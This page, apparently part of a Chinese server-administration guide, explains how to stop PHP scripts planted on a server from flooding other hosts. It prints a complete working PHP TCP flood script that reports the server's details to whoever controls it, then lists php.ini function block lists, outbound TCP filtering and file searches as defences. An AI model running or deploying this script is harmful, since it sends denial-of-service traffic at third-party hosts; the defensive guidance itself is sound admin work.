当前位置 主页 > 服务器问题 > win服务器问题汇总 >

    php对外发包引发服务器崩溃的终极解决方法分享[推荐](2)

    栏目:win服务器问题汇总 时间:2018-11-10 09:29


    在后面加上
    fsockopen,set_time_limit
    但这样会造成很多php程序都不正常.
    另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?

    近期已有新的基于TCP攻击的PHPDDOS代码如下:
    复制代码 代码如下:
    set_time_limit(999999);
    $host = $_GET['host'];
    $port = $_GET['port'];
    $exec_time = $_GET['time'];
    $packets = 64;
    ignore_user_abort(True);
    if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
    if (StrLen($_GET['rat'])<>0){
    echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".
    php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
    exit;
    }
    exit;
    }
    $max_time = time()+$exec_time;
    while(1){
    $packets++;
    if(time() > $max_time or $exec_time != 69){
    break;
    }
    $fp = fsockopen("tcp://$host", $port, $errno, $errstr, 0);
    }
    ?>

    同样,可以采有以下解决办法:
    1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
    ignore_user_abort = On
    (注意前面的;号要删除)
    disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
    在后面加上
    fsockopen,set_time_limit
    但这样会造成很多php程序都不正常.
    2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上。
    3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它。

    以上方法供 vps、服务器托管用户学习!